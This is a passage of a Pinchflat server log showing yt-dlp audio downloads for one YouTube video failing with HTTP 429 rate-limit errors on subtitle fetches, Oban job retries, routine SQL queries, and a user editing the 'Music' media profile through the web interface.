+acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/05/1a/051ab1c7a1b711cfa366ccd51674376ad9fa8bd02c83c452387e5373da992e22.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:11:56.086 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/05/1a/051ab1c7a1b711cfa366ccd51674376ad9fa8bd02c83c452387e5373da992e22.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests 22:11:56.086 [error] yt-dlp download error for media item #51: "ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests\n" 22:11:56.239 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"force":true,"id":51},"id":174,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":4798233,"event":"job:exception","queue_time":603699,"attempt":8,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:12:00.225 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:12:14.343 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:44.345 [info] {"source":"oban","duration":1295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:00.226 [info] {"source":"oban","duration":464,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:13:14.347 [info] {"source":"oban","duration":1595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:44.349 [info] {"source":"oban","duration":1268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:00.227 [info] {"source":"oban","duration":514,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:14:14.350 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:44.352 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:00.229 [info] {"source":"oban","duration":264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:15:14.354 [info] {"source":"oban","duration":1600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:44.356 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:00.230 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:16:14.358 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:41.158 [info] {"args":{"force":true,"id":51},"id":174,"meta":{},"system_time":1784859401158505726,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":9,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:16:41.159 [debug] QUERY OK source="media_items" db=0.1ms idle=1039.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [51] 22:16:41.159 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:16:41.159 [debug] QUERY OK source="sources" db=0.2ms idle=1040.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:16:41.159 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1040.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:16:41.160 [debug] QUERY OK source="media_items" db=0.1ms idle=197.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [51] 22:16:41.160 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [51] 22:16:41.160 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:16:41.161 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:16:41.161 [debug] Running yt-dlp command for action: get_downloadable_status 22:16:41.161 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:16:41.161 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:16:41.161 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:16:41.162 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/f9/f1/f9f1aea58d2544786e8146a9a2748927d148e95f201d2a53862b8a02aebea0f0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:16:43.363 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/f9/f1/f9f1aea58d2544786e8146a9a2748927d148e95f201d2a53862b8a02aebea0f0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:16:43.363 [debug] Running yt-dlp command for action: download 22:16:43.364 [debug] QUERY OK source="settings" db=0.3ms idle=398.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:16:43.364 [debug] QUERY OK source="settings" db=0.1ms idle=245.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:16:43.364 [debug] QUERY OK source="settings" db=0.0ms idle=245.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:16:43.364 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/1d/44/1d4430af2494760ecc7895fd6066fd31ada32cf75f365ffddc86f661944738bb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:16:44.360 [info] {"source":"oban","duration":1674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:46.057 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/1d/44/1d4430af2494760ecc7895fd6066fd31ada32cf75f365ffddc86f661944738bb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests 22:16:46.057 [error] yt-dlp download error for media item #51: "ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests\n" 22:16:46.179 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"force":true,"id":51},"id":174,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":4899681,"event":"job:exception","queue_time":700649,"attempt":9,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:17:00.232 [info] {"source":"oban","duration":585,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:17:14.362 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:44.363 [info] {"source":"oban","duration":523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:00.233 [info] {"source":"oban","duration":536,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:18:14.365 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:44.367 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:45.091 [info] GET /media_profiles 22:18:45.091 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 22:18:45.093 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.5ms idle=973.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 22:18:45.093 [debug] QUERY OK source="settings" db=0.0ms idle=974.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:18:45.094 [debug] QUERY OK source="settings" db=0.1ms idle=974.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:18:45.095 [debug] QUERY OK source="settings" db=0.3ms idle=975.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:18:45.095 [info] Sent 200 in 4ms 22:18:47.671 [info] GET /media_profiles/1 22:18:47.672 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 22:18:47.673 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.4ms idle=1553.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:18:47.675 [debug] QUERY OK source="sources" db=0.6ms queue=0.4ms idle=1555.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 22:18:47.676 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1557.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:18:47.677 [debug] QUERY OK source="settings" db=0.3ms idle=1557.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:18:47.678 [debug] QUERY OK source="settings" db=0.3ms idle=561.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:18:47.680 [info] Sent 200 in 9ms 22:18:52.369 [info] GET /media_profiles/1/edit 22:18:52.369 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.edit/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 22:18:52.370 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=1250.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:18:52.371 [debug] QUERY OK source="settings" db=0.4ms idle=1252.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:18:52.372 [debug] QUERY OK source="settings" db=0.2ms idle=1249.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:18:52.373 [debug] QUERY OK source="settings" db=0.2ms idle=253.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:18:52.376 [info] Sent 200 in 7ms 22:19:00.234 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:19:12.203 [info] POST /media_profiles/1 22:19:12.204 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.update/2 Parameters: %{"_csrf_token" => "Llpsc10uHAAhVWACVj5UZmAEcjUjMzEAG7_D4fuAJ3TR4se00nFFpGfC", "_method" => "patch", "id" => "1", "media_profile" => %{"audio_track" => "", "download_auto_subs" => "true", "download_metadata" => "true", "download_nfo" => "true", "download_source_images" => "false", "download_subs" => "true", "download_thumbnail" => "true", "embed_metadata" => "true", "embed_subs" => "true", "embed_thumbnail" => "true", "livestream_behaviour" => "exclude", "media_container" => "", "name" => "Music", "output_path_template" => "/{{ source_custom_name }}/{{ source_custom_name }}/{{ upload_yyyy_mm_dd }}{{ title }}[{{ id }}].{{ ext }}", "preferred_resolution" => "audio", "redownload_delay_days" => "", "shorts_behaviour" => "exclude", "sponsorblock_behaviour" => "disabled", "sub_langs" => "en"}, "media_profile_preset" => ""} Pipelines: [:browser] 22:19:12.205 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=85.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:12.367 [debug] QUERY OK source="media_profiles" db=161.5ms idle=86.5ms UPDATE "media_profiles" SET "download_thumbnail" = ?, "download_subs" = ?, "download_metadata" = ?, "updated_at" = ? WHERE "id" = ? [true, true, true, ~U[2026-07-24 02:19:12Z], 1] 22:19:12.367 [info] Sent 302 in 164ms 22:19:12.409 [info] GET /media_profiles/1 22:19:12.410 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 22:19:12.411 [debug] QUERY OK source="media_profiles" db=0.5ms idle=291.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:12.412 [debug] QUERY OK source="sources" db=0.6ms idle=292.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 22:19:12.413 [debug] QUERY OK source="settings" db=0.3ms idle=259.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:12.413 [debug] QUERY OK source="settings" db=0.2ms idle=208.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:12.414 [debug] QUERY OK source="settings" db=0.2ms idle=47.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:12.415 [info] Sent 200 in 5ms 22:19:14.369 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:17.146 [info] GET /media_profiles 22:19:17.146 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 22:19:17.147 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=1027.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 22:19:17.148 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1029.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:17.149 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1030.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:17.150 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1030.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:17.151 [info] Sent 200 in 5ms 22:19:19.629 [info] GET /media_profiles/1 22:19:19.629 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 22:19:19.630 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=511.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:19.631 [debug] QUERY OK source="sources" db=0.5ms idle=512.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", 